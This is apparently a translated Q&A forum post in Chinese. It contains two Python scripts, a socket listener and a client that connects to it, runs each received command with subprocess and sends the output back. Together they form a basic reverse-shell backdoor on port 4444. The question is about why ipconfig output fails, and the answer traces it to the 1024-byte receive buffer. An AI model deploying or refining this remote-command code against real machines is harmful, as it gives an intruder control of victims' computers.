此错误仅在我执行ipconfig时发生。 Dir和mkdir似乎都可以工作! 第一部分是发送命令的程序,第二部分是发送命令的程序。
import socket
import json
from sys import exit
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Connection received from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recieve(self):
json_data = self.connection.recv(1024)
return json.loads(json_data.decode())
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_recieve()
def run(self):
while True:
command = input(">> ")
command = command.split(" ")
print(command)
result = self.execute_remotely(command)
print(result)
my_listener = Listener("127.0.0.1", 4444)
my_listener.run()
好的,这是连接到它的程序:
import socket
import subprocess
import json
from sys import exit
class Connect:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_recieve(self):
json_data = self.connection.recv(1024).decode()
return json.loads(json_data)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def execute_sys_command(self, command):
return subprocess.getoutput(command)
def run(self):
while True:
command = self.reliable_recieve()
if command[0] == "exit":
self.connection.close()
exit()
command_result = self.execute_sys_command(command)
self.reliable_send(command_result)
self.connection.close()
my_connection = Connect("127.0.0.1", 4444)
my_connection.run()
我不知道为什么会这样,这没有道理。我所能想到的只是在返回命令结果时发生了错误。我认为这是因为它与dir或mkdir没什么不同,例如空格或编码方式。所以大概是它的返回。
非常感谢。
答案 0 :(得分:0)
我刚刚将self.connection.recv(1024)
更改为一个更大的数字,从而接受了更多字节。正如@zwer所提到的,问题是“ ipconfig”命令的输出大于1024个字节。